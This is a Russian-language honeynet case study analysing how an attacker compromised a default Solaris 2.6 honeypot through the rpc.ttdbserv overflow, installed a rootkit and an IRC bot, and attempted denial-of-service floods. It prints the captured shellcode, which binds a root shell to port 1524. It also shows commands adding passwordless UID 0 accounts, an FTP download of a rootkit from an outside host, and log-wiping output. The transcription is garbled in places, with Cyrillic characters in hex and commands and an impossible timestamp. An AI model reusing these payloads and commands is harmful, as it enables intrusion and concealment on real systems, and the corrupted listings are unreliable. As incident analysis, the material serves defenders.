В качестве honeypot мы использовали систему с ОС Solaris 2.6 с параметрами, установленными по умолчанию. Мы ничего не изменяли и не добавляли в нее. Обсуждаемые здесь слабые места существуют во всех системах на базе Solaris 2.6, установленных с параметрами по умолчанию, без изменений и добавлений. Система honeypot с Solaris 2.64 июня 2000 года была взломана при помощи атаки типа rpc.ttdbserv, которая позволяет запустить программный код, организовав переполнение буфера на сервере базы данных объектов ToolTalk (CVE-1999-0003). Этот тип взлома стоит на третьем месте в десятке самых популярных института SANS (SANS Institute Top Ten List http://www.sans.org/topten.htm). Нападение обнаружила система Snort, она же и сообщила о нем. Данное предупреждение также ушло по электронной почте администратору Honeynet, сообщая ему в режиме реального времени о том, что на систему было совершено нападение.
Jun 4 11:37:68 ids snort[5894]: IDS241/rpc.ttdbserv-solaris-kill: 192.168.78.12:877 -> 172.16.1.107:32775
Взлом rpc.ttdbserv - это нападение, основанное на переполнении буфера, что позволяет удаленному пользователю давать системе команды на правах администратора. Эти команды позволяют получить удаленный доступ к системе. Указание на номер подписи IDS241 можно найти в базе данных Макса Вижна ArachNIDS, откуда и был взят следующий отрывок.
Из-за ошибки разработки rpc.ttdbserv удаленный клиент может умышленно сформулировать сообщение RPC, которое приведет к переполнению автоматической переменной сервера в стеке. Переписав заново записи активации, хранящиеся в стеке, можно запустить в действие любые инструкции, указанные взломщиком в сообщении RPC, тем самым получив полный контроль над процессами сервера. Это предупреждение является «уничтожительной» частью взлома ttdb, где взломщик посылает на rpc.ttdbserv инструкции по уничтожению, чтобы подготовить его к собственно переполнению.
Мы быстро подтвердили факт совершения нападения, просмотрев файлы системного журнала, хранящиеся на удаленном сервере syslog. Регистрационные записи подтвердили, что на демон rpc.ttdbserv было совершено нападение. Записи в Snort показывают, что попытка переполнения была совершена дважды, но, видимо, после первого раза демон продолжал функционировать. Это могло произойти из-за проблем с кэшированием - обычное явление в системе Sun Ultra. Как правило, повторные попытки взлома приводят к ожидаемому результату.
Jun 4 11:38:31 honeypot-7 /usr/dt/bin/грс.ttdbserverd[11465]:
Tt_file_system::findBestMountPoint — max_match_entry is null, aborting...
Jun 4 11:38:31 honeypot-7 inetd[207]: /usr/dt/bin/грс.ttdbserverd:
Segmentation Fault - core dumped
Jun 4 11:38:33 honeypot-7 inetd[207]: /usr/dt/bin/rpc.ttdbserverd: Illegal
Instruction - core dumped
Затем была выполнена команда, создающая для взломщика черный ход через порт 1524. Все, что нужно было сделать взломщику, чтобы получить привилегии администратора, - это установить соединение TELNET через этот порт, а затем запустить любые команды. В конфигурационный файл /tmp/bob добавляется сервис ingreslock, определенный ранее в /etc/ services как порт 1524, а затем выполняется /usr/sbin/inetd с /tmp/bob в качестве конфигурационного файла. В результате этого /bin/sh оказывается привязан к порту 1524 и запускается как корневой, предоставляя удаленному пользователю привилегированный доступ к этому 1524. Ниже приводится команда, запущенная программным кодом взломщика, создающая черный ход. Сначала мы рассмотрим взлом на уровне сети. На этом уровне мы видим пакет взлома, перехваченный при помощи Snort и сохраненный в виде двоичного системного журнала. Преимущество данного подхода состоит в том, что можно выделить полезную нагрузку пакета.
*¦¦ повторяющиеся "80 1С 40 11" для краткости удалены ***
80 1С 40 11 80 1С 40 11 80 1С 40 11 80 1С 40 11 . .@. . ,@. . .@. . .§.
80 1С 40 11 80 1С 40 11 80 1С 40 11 80 1С 40 11 ..§...§.. .@. . .@.
80 1С 40 11 80 1С 40 11 80 1С 40 11 80 1С 40 11 . .@. . .@. . .§. . ,@.
80 1С 40 11 20 BF FF FF 20 BF FF FF 7F FF FF FF ,.@
92 03 Е0 48 90 02 60 10 Е0 02 3F F0 А2 80 3F FF ... Н. .'...?...?.
АО 24 40 10 DO 22 3F F0 СО 22 3F FC A2 02 20 09 . $@. ."?.."?... .
СО 2С 7F FF Е2 22 3F F4 А2 04 60 03 СО 2С 7F FF "?...'
Е2 22 3F F8 А2 04 40 10 СО 2С 7F FF 82 10 20 ОВ ."?...§
91 DO 20 08 FF FF FF 9F 22 22 22 22 33 33 33 33 3333
44 44 44 44 2F 62 69 6E 2F 6B 73 68 2E 2D 63 2E DDDD/bin/ksh.-с. ¦
65 63 68 6F 20 27 69 6E 67 72 65 73 6C 6F 63 6B echo ' ingreslock
20 73 74 72 65 61 6D 20 74 63 70 20 6E 6F 77 61 stream tcp nowa
69 74 20 72 6F 6F 74 20 2F 62 69 6E 2F 73 68 20 it root /bin/sh
73 68 20 2D 69 27 20 3E 3E 2F 74 6D 70 2F 62 6F sh -Г »/tmp/bo
62 20 3B 20 2F 75 73 72 2F 73 62 69 6E 2F 69 6E b ; /usr/sbin/in
65 74 64 20 2D 73 20 2F 74 6D 70 2F 62 6F 62 2E etd -s /tmp/bob.
EF FF F6 18 EF FF F6 18 EF FF F6 18 EF FF F6 18
EF FF F6 18 EF FF F6 18 EF FF F6 18 EF FF F6 18
EF FF F6 18 EF FF F6 18 EF FF F6 18 EF FF F6 18
EF FF F6 18 EF FF F6 18 EF FF F6 18 EF FF F6 18
Команды, использованные при взломе, были записаны с помощью функции Snort «врезка сессии» (см. главу 5). В данном случае система выделила из всей информации пакета команды, относящиеся ко взлому, и преобразовала их для нас в легкочитаемый формат.
После создания этого черного хода взломщик установил соединение с портом 1524, получил доступ к оболочке как администратор и выполнил следующие команды. Взломщик создает две учетные записи пользователей для того, чтобы установить с системой TELNET-соединение. Обратите внимание на то, что подобная тактика создания двух учетных записей (одна из них для UID 0) напоминает методы действия, описанные в главе 6. Ошибки и управляющие символы появляются из-за того, что оболочка в порте 1524 не имеет соответствующей среды. Обратите внимание на то, что обе учетные записи созданы без пароля.
# ср /etc/passwd /etc/.tp;
"Мер /etc/shadow /etc/.ts;
echo "r:x:O:O:User:/:/sbin/sh" » /etc/passwd;
echo "re:x:500:1000:daemon:/:/sbin/sh" » /etc/passwd;
echo "r::10891::::::" » /etc/shadow;
echo "re::6445::::::" » /etc/shadow;
: not found
# "М: not found
# "М: not found
# "M: not found
# "M: not found
# ~M: not found
# who;
rsides console May 24 21:09 "M: not found
# exit;
У взломщика теперь есть две учетные записи в системе honeypot Solaris: ге, которая является универсальным идентификатором 500 (UID 500), иге универсальным идентификатором 0 (UID 0). Взломщик может установить с системой соединение TELNET в качестве пользователя ге, который обеспечивает доступ к системе. Затем нападающий при помощи команды sus переходит к пользователю г, получая доступ администратора. В приведенном ниже программном коде мы видим, что взломщик устанавливает соединение из системы Linux и заходит как ге. Система заставляет его создать пароль, поскольку для данной учетной записи нет никакого пароля. Затем взломщик переходит посредством команды sus на г, у которого UID 0. Все команды взломщика были записаны при помощи функциональных возможностей Snort. Так как нарушитель использовал для соединения систему TELNET, все его действия передаются открытым текстом, благодаря чему система Snort записала все данные в читаемом виде.
!"' !"Р#$#$'LINUX1 SunOS 5.6 ¦
login: re
Choose a new password.
New password: abedef
Re-enter new password: abedef
Telnet (SYSTEM): passwd successfully changed for re
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
$ su r
Имея привилегии администратора, наш взломщик теперь «владеет» системой и может делать все что угодно. Как обычно, следующий шаг заключается в том, чтобы раздобыть rootkit и получить еще больший контроль над системой.
Задача rootkit состоит не в том, чтобы атаковать систему, а в том, чтобы завладеть контролем над ней после того, как она будет взломана. Зачастую большинство действий программы типа rootkit автоматизировано, так что работа взломщика упрощается и ускоряется. В данном примере используется самодельный rootkit с разнообразными утилитами. Сначала мы видим, что взломщик создает «скрытый» каталог, чтобы спрятать свой rootkit. И снова обратите внимание на сходство между этим скрытым каталогом и каталогом из главы 6. Единственное различие заключается в том, что в скрытом каталоге использованы две точки с пробелом ( .. ) вместо . s:
# mkdir /dev/".. "
# cd /dev/".. "
Создав скрытый каталог и зайдя в него, взломщик переносит rootkit из другой системы. И вновь мы наблюдаем тактику, состоящую в том, чтобы сначала получить доступ, затем создать скрытый каталог, после чего загрузить rootkit. На рис. 11.1 перечислены все эти действия.
192.168.78.12
TELNET to system
ftp.shell.net
rpc.ttdbserv exploit
FTP out to remove tools
Solaris 2.6 honeypot
Действия взломщика
Далее взломщик устанавливает соединение FTP с личной учетной записью, содержащей изготовленный на заказ rootkit. Пользователь, которого мы называем J4n3, загружает rootkit под названием sun2.tar и файл lOgin, а также файлы, которые будут использованы для захвата взломанной системы.
# ftp shell.example.net
Connected to shell.example.net.
220 shell.example.net FTP server (Version 6.00) ready.
Name (shell.example.net:re): ]4n3
331 Password required for j4n3.
Password:abcdef
230 User j4n3 logged in.
ftp> get sun2.tar
200 PORT command successful.
150 Opening ASCII mode data connection for 'sun2.tar' (1720320 bytes).
226 Transfer complete.
local: sun2.tar remote: sun2.tar
1727580 bytes received in 2.4e+02 seconds (6.90 Kbytes/s)
ftp> get lOgin
200 PORT command successful.
150 Opening ASCII mode data connection for 'lOgin' (47165 bytes),
226 Transfer complete.
226 Transfer complete.
local: lOgin remote: lOgin
47378 bytes received in 7.7 seconds (6.04 Kbytes/s)
ftp> quit
U221 Goodbye.
После того как rootk.it успешно загружен, он разархивируется и инсталлируется. Приводимый далее программный код показывает содержимое rootk.it по мере его распаковки. Полный rootkit для Solaris, использованный в данном нападении, вы можете найти на сайте http://wxwadmkpress.ru.
Затем взломщик удаляет исходный пакет программ sun2.tar, перемещает файл lOgin в каталог sun2, после чего приступает к установке скрипта setup.sh. Бинарный файл lOgin можно предварительно скомпилировать с фиксированным, зашифрованным паролем. Мы полагаем, что взломщик не хочет пользоваться паролем по умолчанию, поэтому он его заменяет. Обратите внимание на все автоматизированные программы, которые выполняются при одном только запуске скрипта установки setup.sh. Все эти действия происходят в считанные секунды.
# rm sun2.tar
# mv lOgin sun2
#cd sun2
#./setup.sh
haxOr with K1dd13
0k This thing is complete :-)
Теперь setup.sh, сценарий установки rootkit, сначала зачищает системный журнал, чтобы удалить информацию, связанную с действиями взломщика. Любая запись о пользователе ге или г удаляется из регистрационных файлов. Цель состоит в том, чтобы стереть все упоминания о действиях взломщика или о том, что система подверглась нападению.
Взломщик не хочет, чтобы администратор системы обнаружил, что на нее было совершено успешное нападение. Сравните данный случай, когда из регистрационных файлов удаляются отдельные записи, с действиями, рассмотренными в главе 6, где взломщик грубо удалил все системные журналы целиком, такие как .bash_history. Отличие лишь в используемых им инструментах.
- WTMP:
/var/adm/wtmp is Sun Jun 4 11:47:39 2000
/usr/adm/wtmp is Sun Jun 4 11:47:39 2000
/etc/wtmp is Sun Jun 4 11:47:39 2000
/var/log/wtmp cannot open
WTMP = /var/adm/wtmp
Removing user re at pos: 1440
Done!
- UTMP:
/var/adm/utmp is Sun Jup 4 11:47:39 2000 /usr/adm/utmp is Sun Jun 4 11:47:39 2000 /etc/utmp is Sun Jun 4 11:47:39 2000 /var/log/utmp cannot open /var/run/utmp cannot open UTMP = /var/adm/utmp Removing user re at pos: 288 Done!
- LASTLOG:
/var/adm/lastlog is Sun Jun 4 11:47:39 2000
/usr/adm/lastlog is Sun Jun 4 11:47:39 2000
/etc/lastlog cannot open
/var/log/lastlog cannot open
LASTLOG = /var/adm/lastlog
User re has no wtmp record. Zeroing lastlog..
- WTMPX:
/var/adm/wtmpx is Sun Jun 4 11:47:39 2000 /usr/adm/wtmpx is Sun Jun 4 11:47:39 2000 /etc/wtmpx is Sun Jun 4 11:47:39 2000 /var/log/wtmpx cannot open WTMPX = /var/adm/wtmpx Done!
- UTMPX:
/var/adm/utmpx is Sun Jun 4 11:47:39 2000 /usr/adm/utmpx is Sun Jun 4 11:47:39 2000 /etc/utmpx is Sun Jun 4 11:47:39 2000 /var/log/utmpx cannot open /var/run/utmpx cannot open
UTMPX = /var/adm/utmpx
Done!
./setup.sh: ./zap: not found
К этому моменту в регистрационные файлы уже внесены изменения, чтобы скрыть действия взломщика. Процесс очистки системного журнала прошел достаточно успешно. Однако из файла /var/adm/sulog не была удалена одна запись. В этом регистрационном файле хранятся все попытки выполнения команды su. Ниже показано, что осталось от файла регистрации su. Все записи, относящиеся к учетной записи rsmith, правомерны, так как она использовалась для администрирования системы honeypot. Тем не менее остается еще одна учетная запись - re. Здесь мы видим, как она получает привилегии администратора, переходя при помощи su к учетной записи г.
SU 05/26 14:12 - console rsmith-root
SU 05/26 14:12 - console rsmith-root
SU 05/26 14:12 + console rsmith-root
SU 06/04 11:47 + pts/0 re-r
Следующий шаг также довольно обычен, несмотря на то что выглядит несколько странно. Сценарий установки setup.sh обращается к другому скрипту, secure.sh, который обеспечивает безопасность только что взломанной системы. Этот сценарий удаляет уязвимые сервисы и бинарные файлы, защищая систему. Взломщики знают, что она до сих пор уязвима и представляет собой легкую добычу. Менее всего они хотят, чтобы другой взломщик захватил их систему, поэтому защищают все слабые места. Эти взломщики знают, какие суровые нравы царят в их сообществе, и хотят защитить вашу систему от потенциального риска. Как внимательны наши друзья.
./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote *** like rpc.status , nlockmgr etc...
./secure.sh: usage: kill [ [ -sig ] id ... |-1 .]
./secure.sh: usage: kill [ [ -sig ] id ... |-1 ]
#: 3) killed statd , rpcbind , nlockingr
#: 4) removing them so they ever start again
5) secured.
207 ? 0:00 inetd 11467 ? 0:00 inetd cp: cannot access /dev/.. /sun/bot2 kill these processes®!#!@#!
ср: cannot access lpq
./setup.sh: /dev/ttyt/idrun: cannot execute
После этого сценарий запускает proxy IRC. Удивительно то, что позже он убивает этот процесс. Мы не имеем ни малейшего представления, почему. Как правило, большинство неопытных взломщиков используют автоматические инструменты и rootkit, которые дают возможность легкого доступа и повышения уровня привилегированности, однако крайне мало или совсем не осведомлены о принципах работы используемых сценариев. Большинство взломщиков, использующих готовые скрипты, не пишут собственных программ, а следовательно, полагаются на знания «своих коллег». Скорее всего, этот взломщик не имел никакого представления о том, к какому еще результату может привести работа данного сценария, кроме как к запуску proxy IRC. Ошибка в сценарии, которая позже его убила, появилась как побочный эффект.
Ire Proxy v2.6.4 GNU project (С) 1998-99
Coded by James Seter :bugs-> (Pharos@refract.com) or IRC pharos on efnet
—Using conf file ./sys222.conf
—Configuration:
Daemon port :9879
Maxusers :0
Default conn port:6667
Pid File : ./pid.sys222
Vhost Default....:-SYSTEM DEFAULT-
Process Id : 11599
Exit ./sys222{7} Successfully went into the background.
Инструментарий продолжает вносить изменения в файлы. Незаметно копируются троянские двоичные файлы, в том числе /bin/login, /bin/Is, /usr/sbin/netstat и /bin/ps. Эти измененные двоичные файлы скрывают действия взломщиков и предоставляют им еще одну возможность неправомочного входа в систему. Даже если у администратора взломанной системы появятся подозрения, что она была взломана, эти троянские бинарные файлы будут давать ему ложную информацию, значительно затрудняя обнаружение следов действий взломщика. Например, троянский бинарный файл /bin/ps скроет все процессы взломщика, а троянская версия /usr/sbin/netstat - все Internet-соединения. Тем временем взламывается /bin/login, что дает возможность удаленного доступа в систему, независимо от того, какие учетные записи в ней существуют. Мы настоятельно рекомендуем вам просмотреть исходный код сценария setup.sh и скрипт secure.sh, чтобы увидеть, что происходит. Возможно, однажды вам придется иметь дело с системой, которая была взломана при помощи подобного инструментария. Сценарий завершает свою работу, внося последние изменения для защиты системы.
# kill -9 11467
# ps -и root |grep |grep inetd inetd
207 ? 0:00 inetd
# ..U/secure.sh/secure.sh
./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
ft: 2) remote *** like rpc. status , nlockmgr etc.
I -1 ]
I -1 ]
I -1 ]
I -1 ]
./secure.sh: usage: kill [ [ -sig ] id
./secure.sh: usage: kill [ [ -sig ] id
./secure, sh: usage: kill [ [ -sig ] id
./secure.sh: usage: kill [ [ -sig ] id
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
[ -t termlist ] [ -G grouplist ]
# ppUs -u s -u U11U grep grep ttUtdbtdb
Ups: option requires an argument — и
usage: ps [ -aAdeflcj ] [ -o format ]
[ -u userlist ] [ -U userlist ] [ -p proclist ] [ -g pgrplist ] [ -s sfdlist ] 'format' is one or more of:
user ruser group rgroup uid ruid gid rgid pid ppid pgid sid pri opri pcpu pmem vsz rss osz nice class time etime stime f s с tty addr wchan fname comm args
# ppUs -s -UAdj | grep ttdbAdj | grep ttdb
По завершении работы сценария взломщик вручную запускает IRC bot (автоматическая программа, работающая с IRC), чтобы гарантировать выполнение операций на выбранном канале IRC. После запуска bot поддерживает постоянное соединение с серверами IRC. Как мы не однократно убеждались, IRC является одним из основных средств коммуникации между взломщиками. Зачастую системы honeypot взламывались только для того, чтобы установить в них IRC. После успешной инсталляции системы функционировали как каналы связи взломщиков.
# ../те -f bot2
init: Using config file: bot2
EnergyMech 2.7.1, December 2nd, 1999
Starglider Class EnergyMech
Compiled on Jan 27 2000 07:06:04
Features: DYN, NEW, SEF
init: Unknown configuration item: "NOSEEN" (ignored)
init: Mechs added [ save2 ]
init: Warning: save2 has no userlist, running in setup mode init: EnergyMech running... # exit; $ exit
В течение следующей недели взломщики несколько раз возвращались, чтобы убедиться, что у них еще есть доступ. Позднее, 11 июня, они попытались воспользоваться системой для организации нападения типа «отказ от обслуживания» (Denial-of-Service). Суть этих нападений состоит в организации SYN-потока, который перегружает удаленную систему при помощи поддельных SYN-пакетов (с несуществующими обратными IP-адресами). Такие пакеты захлестывают жертву, поглощая ресурсы кэша, лишая его возможности принимать и устанавливать правомочные соединения по протоколу TCP. В наборе инструментов sun2.tar находится подкаталог с названием packet, в котором содержатся несколько инструментов, реализующих нападение типа «отказ от обслуживания», в том числе инструменты для создания потоков SMURF и SYN. Также прилагались файлы с названиями более чем 2,5 тыс. сетей, которые можно использовать в качестве усилителей ретрансляции при нападениях SMURF. Эти инструменты использовались при попытках атаковать другие системы в Internet. Однако Honeynet создана таким образом, чтобы блокировать любые попытки применения системы honeypot в качестве базы для нападения на внешние системы. Все попытки воспользоваться системой honeypot для организации нападения «отказ от обслуживания» были автоматически заблокированы. Взломщики так и не догадались, что они были пресечены.
Мы стали свидетелями применения распространенных в среде взломщиков инструментов и тактики. Наш взломщик случайным образом сканировал Internet в поисках определенного слабого места, в данном случае rpc.ttdbserv. После его определения хакер быстро взломал систему и установил rootk.it, используя подправленный rootkit под названием sun2.tar. После того как взломщик получил контроль над системой, он установил IRC bot, скорее всего, для того, чтобы поддерживать операции в выбранных каналах IRC. IRC bot поддерживал постоянное соединение с сервером IRC, передавая разговоры взломщиков на нашу систему honeypot. Эти разговоры были перехвачены и записаны в рамках работы проекта Honeynet Project. Зафиксированные диалоги дают нам возможность определить мотивы и психологию противника с его собственных слов.
